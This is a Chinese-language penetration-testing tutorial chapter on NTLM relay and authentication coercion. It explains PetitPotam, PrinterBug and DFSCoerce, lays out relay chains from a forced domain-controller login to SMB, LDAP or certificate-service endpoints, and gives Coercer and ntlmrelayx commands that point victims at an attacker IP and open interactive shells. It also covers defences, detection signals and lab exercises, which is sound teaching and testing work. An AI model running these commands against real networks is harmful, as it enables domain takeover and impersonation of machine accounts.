第 71 章 NTLM Relay 与认证强制(Coercer)
认证强制(Coercion)让受害者主动向攻击者认证,NTLM Relay 把这个认证中继到攻击者想打的服务。这是 2023-2026 年内网攻击的主角(PetitPotam/PrinterBug/Coercer)。本章覆盖认证强制技术、Relay 原理、以及从强制到域控的完整链。
📍 知识点地图 | 主题:NTLM Relay | 前置:第62章 | 后续:— | 核心概念:Coercer、relay目标、签名绕过
71.1 核心概念(先懂机制)
NTLM 认证流程:
客户端 → 服务器: NEGOTIATE(我要认证)
服务器 → 客户端: CHALLENGE(挑战值)
客户端 → 服务器: AUTH(响应 = f(密码哈希, 挑战))
Relay 原理:
攻击者插在中间:
受害者 → 攻击者(发起 NTLM 认证)
攻击者 → 目标服务器(转发受害者的认证)
→ 目标服务器认为"受害者"在认证 → 攻击者以受害者身份操作
→ 攻击者不需要密码/哈希!只需要"转发"
关键认知:
NTLM 认证可以被"转发"(不像 Kerberos 绑定目标)
→ 谁能让受害者认证到自己,谁就能"借用"受害者身份
71.2 认证强制技术(Coercion)——让受害者认证到你
原理
MS-RPC 接口存在"触发目标机器回连"的功能
攻击者调用目标的某个 RPC 方法
方法内部会让目标向"攻击者指定地址"发起 SMB/HTTP 认证
→ 目标机器主动向你认证(带它的机器账号哈希)
代表接口:
PetitPotam: EfsRpcOpenFileRaw(EFS 服务)
PrinterBug: SpoolService 的 RpcRemoteFindFirstPrinterChangeNotification
DFSCoerce: DFS 服务
Coercer 工具: 自动枚举所有可强制接口
Coercer 使用
# 强制目标机器向攻击机认证
coercer coerce -u user -p pass -t <TARGET_IP> -l <ATTACKER_IP>
# 批量(整个网段找可强制的机器)
coercer coerce -u user -p pass -t targets.txt -l <ATTACKER_IP>
能强制谁
□ 域控(最重要!DC 的机器账号哈希)
□ 任意域成员(机器账号)
□ 管理员会话中的用户(某些场景)
71.3 NTLM Relay 攻击面(relay 到哪)
可 relay 的目标(支持 NTLM 且未启用保护)
高风险(能拿身份):
SMB(SMB Signing 禁用/不强制)
LDAP/LDAPS(LDAP Signing 不强制)→ 可加用户/改属性!
HTTP(Exchange/ADFS/CA Web 端点,第 70 章 ESC8)
MSSQL(NTLM 认证实例)
低风险/不可:
Kerberos(不基于 NTLM,无法 relay)
带 EPA/强制签名的服务(可检测转发)
经典利用链
链 1: Coercer + SMB Relay
强制域控认证 → relay 到 SMB → 以 DC 身份执行命令/读写文件
链 2: Coercer + LDAP Relay(域控)
强制域控认证 → relay 到 LDAP → 给攻击者加域管权限/改 ACL
(需 LDAP Signing 未强制)
链 3: Coercer + ESC8(第 70 章)
强制域控认证 → relay 到 CA Web 端点 → 申请 DC 身份证书 → 域控哈希
链 4: 打印机 + SMB(PrinterBug 经典)
强制文件服务器认证 → relay → 访问其文件/执行
71.4 ntlmrelayx 实战
# 1. 启动 relay(监听并转发到目标)
ntlmrelayx.py -t smb://<TARGET> -smb2support
# 2. 启动 relay 到 LDAP(提权链)
ntlmrelayx.py -t ldaps://<DC> --delegate-access
# 或添加用户到组(需权限足够)
# 3. relay 到 CA(ESC8,配合第 70 章)
ntlmrelayx.py -t http://<CA_HOST>/certsrv/certfnsh.asp \
--adcs --template <VULN_TEMPLATE>
# 4. 批量攻击(自动对所有受害者的认证 relay)
ntlmrelayx.py -t smb://<TARGET> -smb2support \
-i # 交互 shell(每次 relay 成功给一个 shell)
# 5. 配合 Coercer 全自动
coercer coerce -u user -p pass -t <DC_IP> -l <ATTACKER_IP>
# 同时开着 ntlmrelayx 接收
71.5 完整攻击链(Coercer + Relay → 域控)
1. 攻击者在内网(已有一台机器,第 62 章)
2. 启动 ntlmrelayx(relay 到目标服务)
3. Coercer 强制域控向攻击机认证
4. 攻击机收到 DC 的 NTLM 认证 → 转发到目标服务
5. 以 DC 身份完成操作:
├─ SMB: 执行命令(拿到 DC shell)
├─ LDAP: 提权/改 ACL
└─ CA: 申请证书 → 哈希(第 70 章)
6. 域控权限达成
71.6 防御与检测
防御:
□ SMB Signing 强制(阻断 SMB relay)
□ LDAP Signing + Channel Binding(阻断 LDAP relay)
□ EPA(Extended Protection for Authentication)开启
□ CA 端点禁止 NTLM(ESC8)
□ 监控 Coercer 特征(异常 EFS/Spooler RPC 调用)
检测信号:
□ 源 IP 到目标 IP 的大量 4624/4625 登录(relay 特征)
□ Spooler/EFS 服务的异常远程调用
□ 同源多目标登录(relay 模式)
□ SMB 会话异常(同一源大量会话)
71.7 测试检查清单
□ 内网立足点确认
□ 可强制接口枚举(Coercer)
□ Relay 目标选型(SMB/LDAP/CA)
□ 服务签名/EPA 状态检查(决定可行性)
□ 强制触发 → relay → 操作
□ 结果: 命令执行/提权/证书
□ 报告: 完整强制-relay 链
动手练习
- 在实验室搭双机(攻击机+目标机),用 Coercer + ntlmrelayx 复现一次 SMB relay。
- 分析 SMB Signing 开关对 relay 的影响(开启 vs 关闭对比)。
- 走一遍"Coercer + ESC8"完整链(结合第 70 章环境)。
- 读一份公开的 NTLM relay 攻击报告,画出它的攻击链图。
深入阅读
- 仓库:
CTF-Sandbox-Orchestrator/competition-relay-coercion-chain/(relay CTF 子技能) - 仓库:
CTF-Sandbox-Orchestrator/competition-ad-certificate-abuse/(ESC8 联动) - 仓库:
CTF-Sandbox-Orchestrator/competition-windows-pivot/(Windows 横向) - 实战案例:
skills/field-journal/seed-007_ntlm-relay-coercer.md(NTLM relay 实战) - 外部: Coercer(GitHub)、ntlmrelayx(Impacket)、PortSwigger NTLM relay 研究